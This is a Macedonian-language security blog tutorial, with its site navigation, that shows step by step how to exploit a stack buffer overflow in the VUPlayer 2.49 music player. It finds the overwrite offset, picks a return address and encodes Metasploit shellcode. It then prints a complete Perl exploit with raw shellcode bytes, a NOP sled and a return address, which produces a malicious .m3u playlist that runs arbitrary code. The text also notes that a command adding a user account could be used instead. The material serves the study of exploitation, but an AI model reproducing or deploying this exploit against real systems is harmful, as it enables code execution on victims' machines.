Почетна arrow Блог arrow Комп. сигурност arrow Експлоатација на VUPlayer 2.49 + Демонстрација
 
 
Компјутерска сигурност
Интернет, Дизајн и анимација, Сигурност, Мрежи, Оперативни системи
RSS Канал  
Е-пошта  
Биографија  
 
 
Ѓоко Крстиќ
 
Експлоатација на VUPlayer 2.49 + Демонстрација Испечати Е-пошта
Автор: Ѓоко Крстиќ   
Објавено на: 01.09.2008
Во овој текст ќе зборувам за ранливост кај софтверот за слушање на музика, VUPlayer, верзија 2.49 за Microsoft Windows оперативниот систем. Исто така во прилог е и едно видео (демонстрација) како таа слабост се искористува со превземање целосна контрола врз апликацијата и извршување на експлоатациски код со што ја контролираме следната инструкција на покренатата апликација, стартувајќи ја алатката calc.exe која се наоѓа во самиот оперативен систем.

Значи вака...првин го симнав програмот од официјалната страна: http://www.vuplayer.com/vuplayer.php. Го инсталирав софтверот и го уклучив преку дебагерот OllyDbg. Креирам листа (.m3u) со помош на Perl one-liner, со испечатени карактери "A" 1024 пати или 1024 бајти.

perl -e "print 'A' x 1024;" >> lista.m3u

Ја отворам листата во плеерот и апликацијата паѓа а дебагерот ме известува дека незнае како да продолжи бидејќи EIP регистарот е презапишан.

Image

Презапишување на EIP регистарот


Од сликата можеме да видиме дека нашата lista.m3u (1024 "A" карактери) го пренатрупа баферот за складирање на плејлистата и го презапиша EIP регистарот (голема буква А во хексадецимално изразување е 41, повеќе: http://www.asciitable.com), како и ECX и EBP. Ова значи дека со наоѓање на соодветна адреса за враќање во меморијата или returning address, можеме да го контролираме целосно софтверот и неговиот тек и да извршуваме своеволен код (arbitrary code execution). Но за да го дознаеме точно бројот на "A" карактери со кој последните 4 ќе бидат RET адреса, ќе треба малку да тестираме и да дознаеме на колку точно бајти, баферот се пренатрупува. Зборуваме за класичен Stack Based Buffer Overflow напад. Бројот на бајтите (1024) го избрав случајно. Продолжив со намалување на "A" карактерите (од каде последните 4 карактери ги заменувам со BBBB редослед за да добијам 42424242) за да дојдам точно до границата на пренатрупувањето. Пробав 900, апликацијата ја вчитува листата успешно, пробав 1000, исто, пробав 1010, исто, пробав 1016 и забележав дека EIP регисарот е презапишан со адресата 42424242. Да не ве збунам, во листата имам значи 1012 "A" карактери и 4 "B" карактери = 1016 бајти.(...АААААААААА.....ААААААBBBB)

После успешното пронаоѓање на бројот на бајтите + RET адресата можеме да почнеме да го пишуваме нашиот експлоатациски код. Од 1012 бајти, можеме да избереме асален shellcode и остатокот е "ѓубре". Одам на веб конзолата на Metasploit конструкцијата (www.metasploit.com:55555) за да го изберам кодот што ќе го извршувам преку ранливата апликација. Го избрав Windows Execute Command со calc.exe командата (сум можел и mspaint.exe или командата net user jox joxy). Е сега, да позборувам малку за повратната адреса која ни е потребна за да ја ставиме во нашиот експлоит и да посочува кон нашиот shellcode. Има повеќе начини за пронаоѓање на RET адресата. Можев да ја искористам алатката на eEye Digital Security - Findjmp2.exe или да погледнам во дебагерот во делот кој што го покажува купот или Stack меморија. Во екстремни случаи го избирам Findjmp2.exe но овојпат си погледнав во купот и видов неколку адреси кои се корисни.

Image


Image

Memory Stack


Откако ја пронајдовме RET адресата ја заменуваме наместо тие 4 BBBB карактери во листата. Да се вратиме кај shellcode-от. На самиот сајт на Metasploit имаме опција да избереме каков вид на енкодер за shellcode-от да користиме. Кога користиме енкодер се зголемува и големината на кодот. Причината поради која не го користиме зададениот (default) енкодер на Metasploit - PexFnstenvSub е затоа што апликацијата VUPlayer не ни го извршува кодот за calc.exe, бидејќи самиот код содржи лоши карактери или bad chars како што е веќе зададено со \x00 (NULL бајт). Сум: Освен нулта бајтот, shellcode-от содржи и други лоши бајти што претставува малку комплициран процес за пронаоѓање на истите и впишување во Restricted Characters листата. Затоа ќе го искористиме енкодерот PexAlphaNum кој содржи само алфа-нумерички карактери. Енкодиран shellcode го содржи и декодерот во самиот себе. Значи добиваме shellcode: win32_exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum

1016 - 4(RET) = 1012
1012 - 351(SHELLCODE) = 661(JUNK)
661 бајти = ѓубре или NOP кодови (nopsled).

Следува експлоатациски код (Perl):
===========================================================================

#!/usr/bin/perl
#
# Title: VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit
#
# Summary: VUPlayer is a freeware multi-format audio player for Windows
#
# Product web page: http://www.vuplayer.com/vuplayer.php
#
# Desc: VUPlayer 2.49 suffers from buffer overflow vulnerability that can be
# exploited remotely using user intereaction or crafting. It fails to perform
# adequate boundry condition of the user input file (1016 bytes), allowing us
# to overwrite the EIP, ECX and EBP registers. Successful exploitation executes
# calc.exe, failed attempt resolve in DoS.
#
#
# ---------------------------------WinDbg-------------------------------------
#
# (e7c.c40): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000001 ecx=41414141 edx=00da5c98 esi=0050b460 edi=0012ee24
# eip=41414141 esp=0012eab8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
# 41414141 ?? ???
#
# ----------------------------------------------------------------------------
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Greg Linares & Expanders in version 2.44 (2006)
#
# Refs:
#
# - cVE: CVE-2006-6251
# - MILW0RM:2872
# - MILW0RM:2870
# - CERT-VN:VU#311192
# - BID:21363
# - FRSIRT:ADV-2006-4783
# - SECUNIA:23182
# - XF:vuplayer-plsm3u-bo(30629)
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 18.08.2008
#


print "\n\n";
print "=" x 80;
print "\n\n";
print "\tVUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit\n";
print "\t\t by LiquidWorm \n\n\n";
print "=" x 80;

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com

$SHELLCODE = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff".
"\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56".
"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30".
"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43".
"\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32".
"\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42".
"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42".
"\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x34".
"\x4e\x43\x4b\x58\x4e\x57\x45\x30\x4a\x57".
"\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31".
"\x4b\x58\x4f\x45\x42\x52\x41\x30\x4b\x4e".
"\x49\x54\x4b\x48\x46\x53\x4b\x38\x41\x30".
"\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a".
"\x46\x38\x42\x4c\x46\x37\x47\x50\x41\x4c".
"\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50".
"\x45\x57\x45\x4e\x4b\x38\x4f\x55\x46\x52".
"\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30".
"\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x50".
"\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x30".
"\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30".
"\x43\x4c\x41\x33\x42\x4c\x46\x36\x4b\x38".
"\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x58".
"\x42\x47\x4e\x31\x4d\x4a\x4b\x48\x4a\x36".
"\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x38".
"\x42\x4b\x42\x50\x42\x50\x42\x30\x4b\x38".
"\x4a\x36\x4e\x53\x4f\x55\x41\x53\x48\x4f".
"\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38".
"\x42\x4c\x4b\x57\x42\x35\x4a\x36\x4f\x4e".
"\x50\x4c\x42\x4e\x42\x56\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f".
"\x47\x4e\x43\x36\x41\x56\x4e\x36\x43\x36".
"\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x50".
"\x5a";


$FILE = "TETOVIRANJE.m3u";

$GARBAGE = "\x4A" x 461;

$NOPSLED = "\x90" x 200;

$RET = "\xC0\xE6\x12\x00";

print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";

sleep (5);

open (BOF, ">./$FILE") || die "\nCan't open $FILE: $!";

print BOF "$NOPSLED" . "$SHELLCODE" . "$GARBAGE" . "$RET";

close (BOF);

print "\n\n[+] File $FILE successfully created!\n\n";

system (pause);

===========================================================================

Во кодот сум сменил наместо "A" во "J" или хексадецимално: 4А. Како што гледате слабоста од овој вид е пронајдена од страна на истражувачите Greg Linares и Expanders во верзијата 2.44 (2006 г.)

На кратко: Ставам во листата 461 "J" карактери и 200 NOP кодови (461+200=661 ѓубре). Бројките се по случаен избор, можев да ставам и 300 NOP и 361 "J" карактери. Плус shellcode-от и RET адресата. Редоследот во кодот оди: nopsled + shellcode + garbage + ret, и кога ќе се изврши RET адресата, посочува на почетокот од nopsled-от, кој користи за "лизгање" до shellcode-от и неговото извршување (calc.exe), и тука завршувам. Мфф. Подолу можете да погледнете видео од користење на експлоитот и креирање на листата како и експлоатација на VUPlayer 2.49 и стартување на алатката Calculator.



За поголема резолуција можете да погледнете тука: http://it.com.mk/gjoko/vuplayer_bof.avi [14.4 MB]

Референти:
- http://www.securityhome.eu/exploits/exploit.php?eid=13259671948aa1b65ce1f13.77636425
- http://www.securityfocus.com/bid/21363
- http://www.packetstormsecurity.org/filedesc/vuplayer_bof.pl.txt.html
- http://www.zeroscience.org/codes/vuplayer_bof.txt


Клучни зборови:  VUPlayer   2.49   Windows   Експлоатација   Експлоит   Видео   Shellcode   Buffer Overflow   Напад   BoF

 
Сподели:
Кајмакот
Digg
Technorati
Stumble
Reddit
YahooMyWeb
Delicious
Ma.gnolia
Facebook
Spurl

Twitter сервиси

Повеќе од 50% од сите твитови на Twitter се објавени користејќи мобилни и веб-базирани алатки, а не платформата на Twitter.com. Најпопуларен сервис е TweetDeck со 19.7% искористеност. (Мај, 2009)
Корисничко име

Лозинка



RSS канали на it.com.mk

Прашалник

Од каде се информирате?

(116 глас/а)

  • 22.4%
  • 19.8%
  • 35.3%
  • 13.8%
  • 8.6%

Низ it.com.mk Блог Сервиси Маркетинг
Вести
Статии
Форум
Рецензии
Совети & трикови
Преземања
Настани
Барометар
Едуцентар
Препорачуваме
Сите блогови
е-Бизнис 2.0
Од различен аспект
Uid=0
Хардверманија
Компјутерска сигурност
Apple
Линукс блог
Веб-Соц Свет
Членство
Е-билтен
RSS канали
PDA верзија

Профили
Facebook профилTwitter профилIT.com.mk @ Flickr
IT.com.mk @ YouTubeLinkedIn профилFriendFeed профил
Каква музика слушаат ИТ луѓето?Препорачуваме линкови преку Delicious Главен RSS канал
IWM NETWORK - iwmnetwork.com
ИТ Консалтинг, Интерактивен маркетинг, Истражувања и анализи, Веб дизајн...

IT.com.mk маркетинг